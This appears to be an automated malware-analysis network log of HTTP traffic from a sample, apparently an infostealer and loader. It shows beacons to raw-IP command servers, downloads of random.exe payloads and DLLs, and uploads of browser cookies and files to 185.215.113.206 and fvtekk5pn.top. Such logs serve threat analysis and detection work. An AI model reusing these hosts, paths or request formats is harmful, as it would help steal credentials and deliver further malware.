Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732440471205Host: self.events.data.microsoft.comContent-Length: 7972Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008713001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 31 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008718001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008719001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAFHost: 185.215.113.206Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 46 31 37 34 37 34 36 37 41 42 36 39 31 36 31 30 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="hwid"0EF1747467AB69161091------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="build"mars------DAKEHIJJKEGIDHIEHDAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"browsers------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------lf4U80cBnnAUpS7ErSqOlCData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6c 66 34 55 38 30 63 42 6e 6e 41 55 70 53 37 45 72 53 71 4f 6c 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 6f 68 69 6a 75 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 40 ef 0f 51 39 59 55 1f f2 c8 18 1d 0c 63 fd 6f 37 26 f1 f6 bc 1a e6 b9 b1 08 cf f1 c3 ba 42 80 2a 30 87 52 93 80 6f d9 72 10 02 6b 51 f6 4d 43 70 d8 4a 58 cd bc 63 99 e1 d8 39 26 1a f1 37 fd eb ce d6 a3 4c 14 5e ac ca 3c c5 80 2e c1 8e e4 7b bf 0e b4 06 a5 f8 52 95 cb d9 4d aa 6d 67 34 07 50 28 97 28 85 50 88 77 fe 57 85 c0 39 00 f1 3b 3e c8 9a b7 ae 04 c5 db b1 29 0b 2c 4b 63 c3 af e8 36 26 2c af 10 72 61 f6 9a da 60 35 94 cf d1 40 73 da 26 06 0b b3 6f 31 55 35 b8 39 f0 79 00 98 91 95 d9 bf e9 fc 8f 0a 42 de 48 b8 bd 5e f4 5c 22 b2 e3 6f d7 09 6b 0d 0b 87 0c 6b dd 5a 18 21 b4 71 aa 23 14 e9 2e a6 83 1a d9 b6 b5 f6 fd 29 0e 50 4f d6 31 75 15 f0 23 b2 cf 8d a5 f9 8f b1 26 33 72 52 19 ef 9b e2 be 8c b4 b9 40 20 ae c7 66 ea f5 34 0c d5 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6c 66 34 55 38 30 63 42 6e 6e 41 55 70 53 37 45 72 53 71 4f 6c 43 2d 2d 0d 0a Data Ascii: --------------------------lf4U80cBnnAUpS7ErSqOlCContent-Disposition: form-data; name="file"; filename="Zohijuc.bin"Content-Type: application/octet-stream@Q9YUco7&B*0RorkQMCpJXc9&7L^<.{RMmg4P((PwW9;>),Kc6&,ra`5@s&o1U59yBH^\"okkZ!q#.)PO1u#&3rR@ f4--------------------------lf4U80cBnnAUpS7ErSqOlC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="message"plugins------GIEBAECAKKFCBFIEGCBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="message"fplugins------GIEHIDHJDBFIIECAKECB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFBHost: 185.215.113.206Content-Length: 6575Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 78189Content-Type: multipart/form-data; boundary=------------------------pIiVpWC38ns0UZObGVZUrAData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 49 69 56 70 57 43 33 38 6e 73 30 55 5a 4f 62 47 56 5a 55 72 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 56 75 73 75 79 6f 67 6f 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a db d9 58 ce dd a7 9f 12 33 9f a6 29 26 9a 6b 43 e9 2e b3 98 09 14 4a 23 3c b5 b7 1b c0 e9 fa 30 ad 5f d4 90 67 bf d5 95 42 d5 20 30 a0 9d 8c 3b a6 93 ee c0 72 79 ba d3 4d 23 c2 21 19 61 83 e9 0e 8d 4c 43 76 e3 ba d5 82 e6 c0 87 cf 1d f7 d1 cc 76 c7 ba 90 c7 92 4c 99 7c d7 5d af 36 89 b4 b8 6c 05 03 95 2c f6 29 9e 64 ad 4b 8f b6 65 53 e3 66 5e 3d 6d 78 a6 cf ad 0e 39 ed de c8 d2 e0 1f 29 30 00 24 c2 90 30 6d 41 ce 70 fc 51 a3 20 ba d3 9d 05 83 55 74 42 6f 7f ee b5 81 c0 e8 3a 72 06 08 27 6e d6 d3 a7 ad 87 9d 1e c8 00 a9 c5 20 b1 45 09 0d 6d a1 f5 80 f4 5b 38 a0 ea d5 7e 66 28 2b 7e 2e cb cf f9 e0 73 ca ea 57 91 3b 15 ae 23 e0 6d a8 0d 18 c3 7e af 84 0b f1 9e c5 d9 d9 a7 0d 6e d1 23 cd e2 3c 1e 33 f4 43 e1 de 60 78 8b 8e 12 37 cc 1c ca 48 79 b3 88 65 18 4d df bf 10 72 da a7 bf 10 03 02 96 42 8d aa 83 02 52 b8 b7 0f 1c 04 23 28 99 f8 7d f2 84 5e 06 63 e0 b7 ee 0b 34 00 60 83 0f 50 51 65 e1 e6 01 fa 59 12 0f 72 65 1a c9 3f 1f a4 31 c1 9d 82 b7 3b 95 af 06 35 15 2f 94 53 fc 54 c5 92 60 e6 90 24 69 fa 59 74 cf 6a 86 5a ce d0 16 cd 75 e7 c0 3d 0a 45 28 7a e3 9d d3 53 51 8b 3f c3 5e 67 65 e5 6a 07 3f 51 a2 22 e6 f7 99 3c c6 60 e4 9a e4 59 55 79 5d e3 55 a5 81 13 84 c8 ea 47 d5 03 84 b4 c7 84 06 17 0e 47 73 d0 e1 8f 8e 98 30 6f e3 3e d0 26 84 f7 78 bf 51 2b 13 af 16 12 49 cf c4 a3 69 ce fe 59 a1 9a 41 c0 7a 50 6e a5 cf c6 ef 03 1c 18 55 63 80 82 df 25 e6 fb 77 34 ee 8d 05 c9 8b 15 fc 6f 9d 58 e4 2e ee e8 1b 46 10 2d 69 46 f5 60 35 e0 6e 31 71 40 fd 56 42 78 64 bb 8d 22 ca 45 8a 9c a0 c0 12 57 ce 3e ea 44 76 f1 ac 7a b2 9a 7f 49 cb 1e 44 af 98 4f 79 0a 48 35 2b 88 b9 66 ec 7f 4b 58 af 0b c4 2d 17 0a 52 e8 97 cb 4f d1 76 ec b3 7d d8 23 f8 d0 52 39 0c 96 73 09 83 3d 64 0d b7 3b b4 90 39 35 51 d3 4c d8 05 eb a3 65 30 27 6d 83 97 54 9f 45 0d e4 ab 8a 1f 81 f8 4f 5f 42 60 38 50 eb 43 76 2e 23 d7 a4 c9 79 00 73 64 d2 57 e0 f4 32 35 ad e3 ea 2a ac c5 86 c4 43 fa 97 77 e0 5d 44 75 40 5c 90 92 da d5 14 c5 b0 05 a7 52 44 cd 77 19 19 e8 93 2d 55 22 04 85 dd 34 7d 4c 10 71 7e 62 8f cb 64 69 34 1c 16 19 eb 19 73 a3 5f 03 aa a2 9b 1d 39 33 a9 29 ea b7 6b e5 8d d6 fb b0 33 07 8c 3e f8 c4 1f 72 98 2e 28 ad 2d 4c 6d d5 68 da 58 78 1f b7 01 59 58 53 75 ad e5 33 c8 bb f1 a0 19 ec 23 7a 00 df 0b 74 c9 8b 1b 1d ec 42 05 f3 27 72 bb eb f7 b9 1e 58 6b ed 4a d8 4a f3 cf 6d e5 b9 d0 8c 11 ad 4d 6b 09 fc dd 92 3d 5e
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008720001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAKEHIEBKJJJJJKKKEHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 41 4b 45 48 49 45 42 4b 4a 4a 4a 4a 4a 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CFBAKEHIEBKJJJJJKKKEContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CFBAKEHIEBKJJJJJKKKE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008721001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 66 64 30 32 33 38 34 63 38 35 31 30 61 65 33 63 34 33 34 30 37 36 66 30 63 39 33 61 34 63 39 32 65 65 62 36 64 34 33 34 34 63 31 61 66 39 64 36 34 63 61 34 65 35 66 62 65 66 34 35 36 61 37 33 39 66 35 30 36 66 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"3fd02384c8510ae3c434076f0c93a4c92eeb6d4344c1af9d64ca4e5fbef456a739f506f8------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="file"------BGDAKEHIIDGDAAKECBFB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
